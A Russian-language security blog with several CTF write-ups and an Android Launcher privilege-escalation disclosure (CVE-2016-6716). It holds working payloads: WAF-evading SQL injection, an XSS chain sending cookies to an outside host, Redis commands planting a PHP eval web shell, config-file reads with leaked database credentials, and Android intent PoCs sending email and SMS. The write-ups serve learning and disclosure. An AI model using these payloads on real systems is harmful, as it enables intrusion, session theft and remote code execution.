]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]

Он выводит строку из символов 0, 1 и 2. Выравниваем ее по 2.

000000010101011001010100000002
011111010110010011000101111102
010001011011100011100101000102
010001010010011100001101000102
010001011110101110110101000102
011111011111110110000101111102
000000010101010101010100000002
111111110100000111101111111112
010010001010100100101101101002
001100110110011000001010001112
001110000011010010011010100112
100000101010000011110110010102
011011010010111111111101110012
101001110000001110100100101012
010101000010110100001001011102
111001100001101011010000001002
001011000110011110100110001012
101000111000001001100101011112
011010001000111010111101110112
111100101010111000111111111012
101011000110101101010000001102
111111110100000100010111011002
000000010010101010010101001012
011111010101011011100111001112
010001011011010010100000010012
010001010010110101111100101112
010001010011001101011110101102
011111011111101100011111111012
00000001011100011010010111101

Получается QR код из нулей и единиц. Преобразуем в картинку и извлекаем флаг.

qr code

af49359a251b70e24ba98f15b02cd271


Block

SQL Injection в PostgreSQL с WAF.
https://block.rosnadzorcom.ru/

Долго не мог придумать, как к ней подобраться, потому что на начальном этапе блокировалось почти все.
В итоге сделал базовый вектор, который не блокируется, с произвольными запросами с помощью XML функций и выводом информации через ошибку.

')||query_to_xml(E'$VECTOR'::text,true,true,true::text)::text::int||('1

После чего просто автоматизировал случайное замусоривание основного запроса и долбил его, пока он не сработает. Вектора, которые сработали:

sel\x65ct\ttable_n\141m'||E'e\x20f'||E'rom\r\x69n\x66orma\x74i\x6fn\x5fsc\x68em'||E'a.table\163

se\154ect\r\52 fr\157m\40us'||E'ers

Флаг md5('token:ildujf89qwj4e9832je98nm92p38jercop98j392er8j98j23p9ej8p928j3pe98jp2398je9d')


Bonus 4

https://crt.sh/?q=%25.rosnadzorcom.ru

flag-94d1d3b923974da436bcadb76e52e221.rosnadzorcom.ru


Bonus 1

bonus 1


Moderation


https://moderation.rosnadzorcom.ru/

Находим robots.txt

User-agent: *
Disallow: /admin/
Disallow: /moderator/

На странице /moderator/ идет перенаправление на страницу авторизации, но тело ответа отображается. Прогоняем обфусцированный JavaScript с помощью http://jsbeautifier.org/ и правим его руками. Я остановился на следующем варианте.

function Filter(_0x266c83) {
    return _0x266c83["replace"](/[^-0-9a-z:/.=?&]/gim, "");
}

function Checkurl(_0x265b12) {
    var _0x507390 = {
        'RjY': function _0x14519a(_0x4dd451, _0x237e63) {
            return _0x4dd451 != _0x237e63;
        },
        'doH': function _0x16c0a0(_0x55192c, _0x532c5a) {
            return _0x55192c != _0x532c5a;
        },
        'NSr': function _0x31c18a(_0x1f223d, _0x35f89c) {
            return _0x1f223d != _0x35f89c;
        }
    };
    var _0x247202 = "0|2|3|1|4|5"["split"]('|'),
        _0x41e6f8 = 0x0;
    while (!![]) {
        switch (_0x247202[_0x41e6f8++]) {
            case '0':
                if ("RjY"](_0x265b12["indexOf"]("javascript"), -0x1)) {
                    return ![];
                }
                continue;
            case '1':
                ;
                continue;
            case '2':
                ;
                continue;
            case '3':
                if (_0x507390["doH"](_0x265b12["substr"](-0x4, 0x4), ".jpg")) {
                    return ![];
                }
                continue;
            case '4':
                _0x265b12 = _0x265b12["replace"]("#", "");
                continue;
            case '5':
                if (_0x507390["doH"](_0x265b12["indexOf"]("/"), -0x1)) {
                    if (_0x507390["NSr"](_0x265b12["indexOf"]("://"), -0x1)) {
                        if (_0x507390['NSr'](_0x265b12["indexOf"]("http://"), -0x1)) {
                            return !![];
                        }
                    }
                } else {
                    return !![];
                }
                continue;
        }
        break;
    }
}

function prepareFrame() {
    var _0x2b3501 = {
        'OzM': function _0x20b853(_0x3e2412, _0xda5eaa) {
            return _0x3e2412(_0xda5eaa);
        }
    };
    var _0x586767 = "4|0|2|5|3|1"."split"('|'),
        _0x45335e = 0x0;
    while (!![]) {
        switch (_0x586767[_0x45335e++]) {
            case '0':
                if (_0x2b3501["OzM"](Checkurl, _0x1079a0)) {
                    var _0x4167de = _0x2b3501["OzM"](Filter, _0x1079a0);
                }
                continue;
            case '1':
                document["body"]["appendChild"](_0xc87369);
                continue;
            case '2':
                ;
                continue;
            case '3':
                _0xc87369["setAttribute"]("src", _0x4167de);
                continue;
            case '4':
                var _0x1079a0 = location["hash"]["replace"]("#", "");
                continue;
            case '5':
                var _0xc87369 = document[c]("iframe");
                continue;
        }
        break;
    }
}

Получаем DOM Based XSS через location.hash с большим количеством условий.

В результате у меня получился следующий вектор:
(когда я решал, то неправильно понял условие с символом /, поэтому перемудрил)

https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg

Для того, чтобы XSS сработала нужно также заблокировать перенаправление. Это можно сделать, добавив в GET параметры символы %0a, %0d или null-байт. Вызов функции header("Location: foo\nbar"); вернет предупреждение и код ответа останется 200.

https://moderation.rosnadzorcom.ru/moderator/?a=1%0a1

Финальный вектор для эксплуатации XSS

<form action="https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg" id="send">
<textarea name="a" id="x"></textarea>
</form>
<script>
window.name="javascript:location='https://blackfan.ru/?result='+document.cookie;";
document.getElementById("x").value="foo\nbar";
document.getElementById("send").submit();
</script>

Флаг в cookie flag=c0a495e8886c26afc0d541da2d19adf0


compressed.png

compressed.png

Перепечатываем, запускаем, играем в пятнашки.

01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 00
Your flag is 
01030107010301150103010701030115

Chat

Вызываем ошибку
https://chat.rosnadzorcom.ru/%ff

URIError: Failed to decode param '%ff'
    at decodeURIComponent (<anonymous>)
    at decode_param (/osas/node_modules/router/lib/layer.js:171:12)
    at Layer.match (/osas/node_modules/router/lib/layer.js:147:15)
    at matchLayer (/osas/node_modules/router/index.js:604:18)
    at next (/osas/node_modules/router/index.js:235:15)
    at /osas/site/server-22165fa64369b9dabeba8eb7276712a6/init.js:51:5
    at Layer.handle [as handle_request] (/osas/node_modules/router/lib/layer.js:93:5)
    at trim_prefix (/osas/node_modules/router/index.js:335:13)
    at /osas/node_modules/router/index.js:299:7
    at Function.process_params (/osas/node_modules/router/index.js:354:12)

Получаем чтение серверного JS кода:
https://chat.rosnadzorcom.ru/server-22165fa64369b9dabeba8eb7276712a6/init.js

    import { result } from 'lodash';

    ...

    let id = encodeURIComponent(Object.keys(req.body)[0]);

    ...

    state[req.params.uuid] = {
        owner: req.cookies[sessionCookieName],
        message: {
            id,
            type: 'message',
            text: encodeURIComponent(req.body[id])
        }
    };

    ...

    export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,

Уязвимость заключается в том, что в ответ от администратора попадает любой параметр из объекта res, путь к которому мы передаем в имени POST параметра.
Оригинальный запрос:

POST /b6c5a75f-22fa-4a0d-952b-70a68fb77776 HTTP/1.1

state.message.text=asddas

Запрос для получения идентификатора сессии администратора:

POST https://chat.rosnadzorcom.ru/asdasdasdasdasd

req.cookies.sid=asddas

Используя его можно получить флаг:

https://chat.rosnadzorcom.ru/7his_c0nT3n7_is_MY_Pr1v@t3_pR0perTy!!11!

Flag is 64cbbcc515819d16115a4663251199dd

Ropi

Запросы к /.git/ блокируются.
https://ropi.rosnadzorcom.ru/.git/

Но при следующем запросе используется другой host.

GET /. HTTP/1.1
Host: ropi.rosnadzorcom.ru

HTTP/1.1 301 Moved Permanently
Location: http://vps.merron.ru/./

На котором уже можно получить исходный код из /.git/. Забираем доступ к redis.

$redis['host'] = '127.0.0.1';
$redis['port'] = 6379;
$redis['pass'] = 'a9e24afea8be7de8';

Так как у меня совсем нету опыта в эксплуатации Redis, подключаемся, ставим режим мониторинга и идем гулять с ребенком.

redis-cli -h vps.merron.ru -a a9e24afea8be7de8

> monitor

Возвращаемся через час, замечаем чьи-то попытки залить PHP шелл через Redis, добиваем их до мини-шелла.

> config set dir /var/www/uploads/
> config set dbfilename blabla.php
> set asd "<?php eval($_GET[asd]); ?>"
> bgsave

И читаем флаг

https://ropi.rosnadzorcom.ru/uploads/blabla.php?asd=readfile('/flag');

5d710ac04a2eb6af5682fd92577b3e01

Beta


http://beta.rosnadzorcom.ru/

Голый wordpress и раскрытие пути.
http://beta.rosnadzorcom.ru/wp-includes/rss-functions.php

Fatal error: Call to undefined function _deprecated_file() in /usr/share/nginx/www/wordpress/wp-includes/rss-functions.php on line 8

Пробуем обратиться к php файлам через localhost.

GET /wordpress/wp-config.php HTTP/1.1
Host: localhost

Получаем чтение исходного кода, учетную запись к базе данных и сам хост базы white2fan.rosnadzorcom.ru (нет, я не участвовал в создании таска).

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'OMGOMGWTFWTF');

/** For testing use white2fan.rosnadzorcom.ru */
define('DB_HOST', 'localhost');

white2fan.rosnadzorcom.ru резолвится в 127.0.0.1, но когда я решал, то даже не заметил этого, так как подключался с сервера, на котором был настроен IPv6.
Забираем флаг:

mysql -h white2fan.rosnadzorcom.ru -u wordpress -p

mysql> select * from flag;
Empty set (0.16 sec)

mysql> select column_name from information_schema.columns where table_name='flag';
+----------------------------------+
| column_name                      |
+----------------------------------+
| a33d6a48821d9c33f00219710eb9aeef |
+----------------------------------+
1 row in set (0.16 sec)

12 мая 2017

Zeronights 2016 HackQuest Day #7 Writeup


Хотел написать разбор на PHDays 2017 HackQuest и нашел этот в закладках.

Узнав, что последним заданием на HackQuest будет web, я слегка расстроился, так как был не дома и начал решать его спустя 14 часов после запуска. Но, к счастью, к этому времени до сих пор не было ни решивших, ни подсказок.

Задание представляет собой сайт с названием «The First School of Bulimia» и из функциональности там только регистрация и аутентификация. После проверки стандартных векторов, единственное, за что можно было зацепиться – обработка поля «Вес» при регистрации.

При некорректном значении выдавало Exception:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: For input string: "zdrxyhryy" 
Fill your weight. Weight has to be numeric value

В поле можно было использовать hex значения #FF или 0xFF. При значении ${0}, получилось следующее:

Failed to convert property value of type java.lang.String to required type java.lang.Integer 
for property weight; nested exception is java.lang.NumberFormatException: 
For input string: "$org.springframework.context.support.DefaultMessageSourceResolvable: 
codes [user.weight,weight]; arguments []; default message [weight]"

Прочитав несколько статей про Expression Language Injection, я понял, что это не совсем то, и что текст ошибки с указанным параметром попадает в MessageFormat. С помощью {0, number} можно вызвать приведение объекта-параметра с индексом 0 к числу и получить подробную ошибку с фрагментом исходного кода. Но, эта информация тоже ничего интересного не дала.

img1

Первая подсказка OTG-INFO-001 указывает на то, что сначала нужно было получить больше информации о задании. Помучив поисковые системы и веб-архивы удалось найти исходный код приложения на github.

https://github.com/search?q=The+First+School+of+Bulimia

Первая часть флага была указана в исходном коде:

private static String firstSecret="2TvoixPalca";

Вторая часть, судя по всему, получалась из файла конфигурации и ее можно было получить с помощью ${secondSecret}.
Оказалось, что почитать про Expression Language Injection было правильной идеей и можно сразу заметить в коде следующее:

<p><b>Твое имя:  <spring:message text="${user.name}" /></b></p>
<p><b>Твое вес:  <spring:message text="${user.weight}" /></b></p>

<spring:message> дважды обрабатывает Expression Language и инъекция через имя пользователя выглядит верным решением задания. Но необходимо придумать, как обойти регулярное выражение при регистрации:

if (user.getName() == null) {
  e.rejectValue("name", "null", "Fill your name");
} else if (!user.getName().matches("[0-9A-Za-z]+")) {
  e.rejectValue("name", "onlynumbersletters", "Only letters and numbers in your name");
}

Перепробовав все идеи, я решил обратиться к сценарию следующим образом
(к тому же похожая уязвимость была в первом web задании, которое я не дорешал):
http://45.55.216.88/home?name=<h1><s>123

img2

И только потом заметил следующее объявление метода:

@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {

ModelAttribute: Annotation that binds a method parameter or method return value to a named model attribute, exposed to a web view. Supported for controller classes with @RequestMapping methods.

Получаем вторую часть флага:

http://45.55.216.88/home?name=${secondSecret}

Флаг: 2TvoixPalcaVRot! (вторую часть в целом можно было и угадать)

Разбор уязвимости и самого задания от автора

08 ноября 2016

Elevation of privilege vulnerability in Android Launcher


Работая с Android приложениями, я обнаружил интересную функциональность - создание ярлыков для главного экрана. Они используются для упрощения каких-либо действий, например, открытие нужного контакта одним кликом.
В приложении “Контакты” это выглядит примерно так:

Создание ярлыков появилось в Android 4.4, но почему-то довольно слабо документировано и реализовано следующим образом.

Приложение запрашивает привилегию INSTALL_SHORTCUT, которая в зависимости от лаунчера может относится к категории нормальных или опасных привилегий.

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />

Далее приложение формирует Intent, с помощью которого будет запущено Activity с нужными параметрами. Пример с контактами:

Intent shortcutIntent = new Intent("android.provider.action.QUICK_CONTACT");
shortcutIntent.setDataAndType(Uri.parse("content://com.android.contacts/contacts/80"), "vnd.android.cursor.item/contact");

После чего отсылает этот Intent приложению, отвечающему за создание ярлыков (у меня на Nexus 5 это com.google.android.googlequicksearchbox), с помощью Broadcast сообщения.

Intent intent = new Intent();
intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Shortcut Example");
intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
sendBroadcast(intent);

Когда пользователь вызывает ярлык, по сути, происходит запуск Activity с помощью переданного EXTRA_SHORTCUT_INTENT от имени приложения googlequicksearchbox. Именно в этом и заключается проблема. Если вы интересуетесь уязвимостями в Android приложениях, то наверняка вспомните это исследование мобильных браузеров http://www.mbsd.jp/Whitepaper/IntentScheme.pdf.

В случае с браузерами, запуск произвольного Activity через intent-схему позволил вызвать неэкспортированные компоненты приложения, что привело к целому ряду интересных уязвимостей. Аналогичным образом я очень долго пытался играться со внутренностями приложения googlequicksearchbox, но особых успехов кроме нескольких падений не добился.

Обсудив эту уязвимость с Dmitry Lukyanenko, мы получили решение практически мгновенно. Ведь в запуске произвольных Activity можно использовать не только внутренние неэкспортированные компоненты, но и вызывать другие предустановленные приложения, используя привилегии googlequicksearchbox. А описанных привилегий было довольно много, в том числе с protectionLevel signature, доступных только приложениям Google.

[+] Список привилегий

После анализа других приложений от Google были найдены подходящие Activity и получились следующие PoC:

  1. Отправка произвольного письма с помощью приложения Gmail (com.google.android.gm)

    
    <permission 
     ...
     android:name="com.google.android.gm.permission.AUTO_SEND"
     ...
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:excludeFromRecents="true" 
     android:exported="true" ...
     android:name="com.google.android.gm.AutoSendActivity"
     android:permission="com.google.android.gm.permission.AUTO_SEND" ...>
       <intent-filter android:label="@string/app_name">
         <action android:name="com.google.android.gm.action.AUTO_SEND"/>
         <category android:name="android.intent.category.DEFAULT"/>
         <data android:mimeType="*/*"/>
       </intent-filter>
    </activity>

    Пример использования:

    Intent shortcutIntent = new Intent("com.google.android.gm.action.AUTO_SEND");
    shortcutIntent.setClassName("com.google.android.gm", "com.google.android.gm.AutoSendActivity");
    shortcutIntent.putExtra("to", "<email>");
    shortcutIntent.putExtra("subject", "Shortcut Test");
    shortcutIntent.putExtra("body", "Hello");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send email");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent);
  2. Отправка произвольных SMS с помощью приложения Hangouts (com.google.android.talk)

    <permission 
     android:name="com.google.android.hangouts.START_HANGOUT" 
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:exported="true"
     android:name="com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity" 
     android:permission="com.google.android.hangouts.START_HANGOUT" ...>
        ...
        <intent-filter android:label="@string/share_intent_label">
          <action android:name="android.intent.action.SENDTO"/>
          ...
        </intent-filter>
      </activity>

    Пример использования:

    Intent shortcutIntent = new Intent();
    shortcutIntent.setClassName("com.google.android.talk", "com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity");
    shortcutIntent.setAction("android.intent.action.SENDTO");
    shortcutIntent.putExtra("android.intent.extra.TEXT", "Hello");
    shortcutIntent.putExtra("account_name","<CURRENT_EMAIL_ACCOUNT>");
    shortcutIntent.putExtra("participant_name","31337");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send sms");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent); 

Результаты нажатия на shortcut:

CVE-2016-6716 https://source.android.com/security/bulletin/2016-11-01.html#eop-in-aosp-launcher

Fix https://android.googlesource.com/platform/packages/apps/Launcher3/+/c2b630c8b202f09a8a34f707d81733eef3efb560